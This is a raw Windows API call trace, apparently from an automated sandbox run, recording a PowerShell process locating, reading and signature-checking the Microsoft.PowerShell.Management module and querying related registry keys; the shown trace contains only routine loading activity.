[0154.482] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x78, lpBuffer=0x62b578, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", lpFilePart=0x0) returned 0x77 [0154.482] NtQuerySystemInformation (in: SystemInformationClass=0xa4, SystemInformation=0x5bde628, Length=0x20, ResultLength=0x5bde698 | out: SystemInformation=0x5bde628, ResultLength=0x5bde698*=0x0) returned 0xc0000003 [0154.483] GetSystemInfo (in: lpSystemInfo=0x5bde6a4 | out: lpSystemInfo=0x5bde6a4*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0154.483] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x5bde634 | out: phkResult=0x5bde634*=0x3f4) returned 0x0 [0154.483] RegQueryValueExW (in: hKey=0x3f4, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x5bde650, lpData=0x0, lpcbData=0x5bde64c*=0x0 | out: lpType=0x5bde650*=0x0, lpData=0x0, lpcbData=0x5bde64c*=0x0) returned 0x2 [0154.483] RegCloseKey (hKey=0x3f4) returned 0x0 [0154.491] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x78 [0154.491] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x78, lpBuffer=0x62b578, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", lpFilePart=0x0) returned 0x77 [0154.491] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bde5ac) returned 1 [0154.492] CreateFileW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.management.psd1"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3f4 [0154.492] GetFileType (hFile=0x3f4) returned 0x1 [0154.492] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bde5a8) returned 1 [0154.492] GetFileType (hFile=0x3f4) returned 0x1 [0154.492] GetACP () returned 0x4e4 [0154.498] SetFilePointer (in: hFile=0x3f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x5bde5e8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5bde5e8*=0) returned 0x0 [0154.498] ReadFile (in: hFile=0x3f4, lpBuffer=0x233f368, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5bde614, lpOverlapped=0x0 | out: lpBuffer=0x233f368*, lpNumberOfBytesRead=0x5bde614*=0x9e9, lpOverlapped=0x0) returned 1 [0154.499] SetFilePointer (in: hFile=0x3f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x5bde5e8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5bde5e8*=0) returned 0x9e9 [0154.499] ReadFile (in: hFile=0x3f4, lpBuffer=0x233e8e5, nNumberOfBytesToRead=0x217, lpNumberOfBytesRead=0x5bde614, lpOverlapped=0x0 | out: lpBuffer=0x233e8e5*, lpNumberOfBytesRead=0x5bde614*=0x0, lpOverlapped=0x0) returned 1 [0154.500] SetFilePointer (in: hFile=0x3f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x5bde5e8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5bde5e8*=0) returned 0x9e9 [0154.500] ReadFile (in: hFile=0x3f4, lpBuffer=0x233f368, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5bde614, lpOverlapped=0x0 | out: lpBuffer=0x233f368*, lpNumberOfBytesRead=0x5bde614*=0x0, lpOverlapped=0x0) returned 1 [0154.500] NtQuerySystemInformation (in: SystemInformationClass=0xa4, SystemInformation=0x5bde57c, Length=0x20, ResultLength=0x5bde5ec | out: SystemInformation=0x5bde57c, ResultLength=0x5bde5ec*=0x0) returned 0xc0000003 [0154.501] GetSystemInfo (in: lpSystemInfo=0x5bde5f8 | out: lpSystemInfo=0x5bde5f8*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0154.501] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x5bde588 | out: phkResult=0x5bde588*=0x3fc) returned 0x0 [0154.501] RegQueryValueExW (in: hKey=0x3fc, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x5bde5a4, lpData=0x0, lpcbData=0x5bde5a0*=0x0 | out: lpType=0x5bde5a4*=0x0, lpData=0x0, lpcbData=0x5bde5a0*=0x0) returned 0x2 [0154.501] RegCloseKey (hKey=0x3fc) returned 0x0 [0154.501] CloseHandle (hObject=0x3f4) returned 1 [0154.520] CoCreateGuid (in: pguid=0x5bde678 | out: pguid=0x5bde678*(Data1=0x14bd0fee, Data2=0x5f21, Data3=0x4371, Data4=([0]=0x83, [1]=0x55, [2]=0x94, [3]=0x10, [4]=0x4f, [5]=0x10, [6]=0xc3, [7]=0x98))) returned 0x0 [0154.524] QueryPerformanceCounter (in: lpPerformanceCount=0x5bde3d8 | out: lpPerformanceCount=0x5bde3d8*=1179550140702) returned 1 [0154.524] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x78 [0154.524] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x78, lpBuffer=0x62b578, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", lpFilePart=0x0) returned 0x77 [0154.524] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bde0c4) returned 1 [0154.525] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.management.psd1"), fInfoLevelId=0x0, lpFileInformation=0x5bde388 | out: lpFileInformation=0x5bde388*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2d1d80, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e2d1d80, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f1e8618, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x9e9)) returned 1 [0154.525] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bde0c0) returned 1 [0154.525] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x78 [0154.525] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x78, lpBuffer=0x62b578, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", lpFilePart=0x0) returned 0x77 [0154.525] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x78 [0154.525] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x78, lpBuffer=0x62b578, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", lpFilePart=0x0) returned 0x77 [0154.525] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bde058) returned 1 [0154.525] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.management.psd1"), fInfoLevelId=0x0, lpFileInformation=0x5bde31c | out: lpFileInformation=0x5bde31c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2d1d80, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e2d1d80, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f1e8618, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x9e9)) returned 1 [0154.525] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bde054) returned 1 [0154.525] CoTaskMemAlloc (cb=0x10) returned 0x61d218 [0154.525] CoTaskMemAlloc (cb=0x10) returned 0x61d278 [0154.526] CoTaskMemAlloc (cb=0xf0) returned 0x61bda0 [0154.526] CoTaskMemAlloc (cb=0x30) returned 0x62b960 [0154.526] WinVerifyTrust () returned 0x800b0100 [0154.540] CoTaskMemFree (pv=0x61d218) [0154.540] CoTaskMemFree (pv=0x62b960) [0154.540] CryptCATHandleFromStore () returned 0x5ba9a0 [0154.540] WTHelperGetProvSignerFromChain () returned 0x0 [0154.540] CoTaskMemAlloc (cb=0x10) returned 0x61d218 [0154.540] CoTaskMemAlloc (cb=0x30) returned 0x62b960 [0154.540] WinVerifyTrust () returned 0x0 [0154.540] CoTaskMemFree (pv=0x62b960) [0154.540] CoTaskMemFree (pv=0x61d218) [0154.540] CoTaskMemFree (pv=0x61bda0) [0154.540] CoTaskMemFree (pv=0x61d278) [0154.574] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\en-US\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\en-us\\microsoft.powershell.management.psd1")) returned 0xffffffff [0154.574] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\en\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\en\\microsoft.powershell.management.psd1")) returned 0xffffffff [0154.579] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x78 [0154.579] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x78, lpBuffer=0x62b578, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", lpFilePart=0x0) returned 0x77 [0154.580] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x53 [0154.580] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management", nBufferLength=0x53, lpBuffer=0x62b578, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management", lpFilePart=0x0) returned 0x52 [0154.612] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\PSGetModuleInfo.xml", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x67 [0154.612] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\PSGetModuleInfo.xml", nBufferLength=0x67, lpBuffer=0x62b578, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\PSGetModuleInfo.xml", lpFilePart=0x0) returned 0x66 [0154.612] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bddb14) returned 1 [0154.612] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\PSGetModuleInfo.xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\psgetmoduleinfo.xml"), fInfoLevelId=0x0, lpFileInformation=0x5bdddd8 | out: lpFileInformation=0x5bdddd8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0154.612] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bddb10) returned 1 [0154.613] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Commands.Management.dll" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.commands.management.dll")) returned 0xffffffff [0154.613] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Commands.Management.dll\\Microsoft.PowerShell.Commands.Management.dll" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.commands.management.dll\\microsoft.powershell.commands.management.dll")) returned 0xffffffff [0154.613] GetEnvironmentVariableW (in: lpName="PSMODULEPATH", lpBuffer=0x5bdda90, nSize=0xc6 | out: lpBuffer="") returned 0xc5 [0154.616] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules" (normalized: "c:\\program files\\windowspowershell\\modules")) returned 0x10 [0154.617] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Management", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x54 [0154.617] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Management", nBufferLength=0x54, lpBuffer=0x62b578, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Management", lpFilePart=0x0) returned 0x53 [0154.617] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bdd91c) returned 1 [0154.617] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Management" (normalized: "c:\\program files\\windowspowershell\\modules\\microsoft.powershell.commands.management"), fInfoLevelId=0x0, lpFileInformation=0x5bddbe0 | out: lpFileInformation=0x5bddbe0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0154.617] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bdd918) returned 1 [0154.622] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Management\\Microsoft.PowerShell.Commands.Management.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\microsoft.powershell.commands.management\\microsoft.powershell.commands.management.dll")) returned 0xffffffff [0154.625] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules")) returned 0xffffffff [0154.630] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules" (normalized: "c:\\program files (x86)\\windowspowershell\\modules")) returned 0x10 [0154.631] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Management", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5a [0154.631] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Management", nBufferLength=0x5a, lpBuffer=0x62b578, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Management", lpFilePart=0x0) returned 0x59 [0154.631] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bdd91c) returned 1 [0154.631] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Management" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\microsoft.powershell.commands.management"), fInfoLevelId=0x0, lpFileInformation=0x5bddbe0 | out: lpFileInformation=0x5bddbe0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0154.632] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bdd918) returned 1 [0154.635] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Management\\Microsoft.PowerShell.Commands.Management.dll" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\microsoft.powershell.commands.management\\microsoft.powershell.commands.management.dll")) returned 0xffffffff [0154.638] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules")) returned 0x10 [0154.639] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Commands.Management", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5c [0154.639] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Commands.Management", nBufferLength=0x5c, lpBuffer=0x62b578, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Commands.Management", lpFilePart=0x0) returned 0x5b [0154.639] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bdd91c) returned 1 [0154.639] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Commands.Management" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.commands.management"), fInfoLevelId=0x0, lpFileInformation=0x5bddbe0 | out: lpFileInformation=0x5bddbe0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0154.639] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bdd918) returned 1 [0154.643] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Commands.Management\\Microsoft.PowerShell.Commands.Management.dll" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.commands.management\\microsoft.powershell.commands.management.dll")) returned 0xffffffff [0154.794] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0xa0 [0154.794] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", nBufferLength=0xa0, lpBuffer=0x62b578, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", lpFilePart=0x0) returned 0x9f [0154.794] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0xa0 [0154.794] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", nBufferLength=0xa0, lpBuffer=0x62b578, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", lpFilePart=0x0) returned 0x9f [0154.795] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0xa0 [0154.795] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", nBufferLength=0xa0, lpBuffer=0x62b578, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", lpFilePart=0x0) returned 0x9f [0155.182] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x5bde9b0 | out: phkResult=0x5bde9b0*=0x360) returned 0x0 [0155.182] RegQueryValueExW (in: hKey=0x360, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5bde9d0, lpData=0x0, lpcbData=0x5bde9cc*=0x0 | out: lpType=0x5bde9d0*=0x1, lpData=0x0, lpcbData=0x5bde9cc*=0x56) returned 0x0 [0155.182] RegQueryValueExW (in: hKey=0x360, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5bde9d0, lpData=0x22e2f40, lpcbData=0x5bde9cc*=0x56 | out: lpType=0x5bde9d0*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x5bde9cc*=0x56) returned 0x0 [0155.182] RegCloseKey (hKey=0x360) returned 0x0 [0155.182] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x5bde9b0 | out: phkResult=0x5bde9b0*=0x360) returned 0x0 [0155.183] RegQueryValueExW (in: hKey=0x360, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5bde9d0, lpData=0x0, lpcbData=0x5bde9cc*=0x0 | out: lpType=0x5bde9d0*=0x1, lpData=0x0, lpcbData=0x5bde9cc*=0x56) returned 0x0 [0155.183] RegQueryValueExW (in: hKey=0x360, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5bde9d0, lpData=0x22e3254, lpcbData=0x5bde9cc*=0x56 | out: lpType=0x5bde9d0*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x5bde9cc*=0x56) returned 0x0 [0155.183] RegCloseKey (hKey=0x360) returned 0x0 [0155.183] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x5bde9b0 | out: phkResult=0x5bde9b0*=0x360) returned 0x0 [0155.183] RegQueryValueExW (in: hKey=0x360, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5bde9d0, lpData=0x0, lpcbData=0x5bde9cc*=0x0 | out: lpType=0x5bde9d0*=0x1, lpData=0x0, lpcbData=0x5bde9cc*=0x56) returned 0x0 [0155.183] RegQueryValueExW (in: hKey=0x360, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5bde9d0, lpData=0x22e355c, lpcbData=0x5bde9cc*=0x56 | out: lpType=0x5bde9d0*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x5bde9cc*=0x56) returned 0x0 [0155.183] RegCloseKey (hKey=0x360) returned 0x0 [0155.183] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x5bde9b0 | out: phkResult=0x5bde9b0*=0x360) returned 0x0 [0155.183] RegQueryValueExW (in: hKey=0x360, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5bde9d0, lpData=0x0, lpcbData=0x5bde9cc*=0x0 | out: lpType=0x5bde9d0*=0x1, lpData=0x0, lpcbData=0x5bde9cc*=0x56) returned 0x0 [0155.183] RegQueryValueExW (in: hKey=0x360, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5bde9d0, lpData=0x22e3870, lpcbData=0x5bde9cc*=0x56 | out: lpType=0x5bde9d0*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x5bde9cc*=0x56) returned 0x0 [0155.183] RegCloseKey (hKey=0x360) returned 0x0 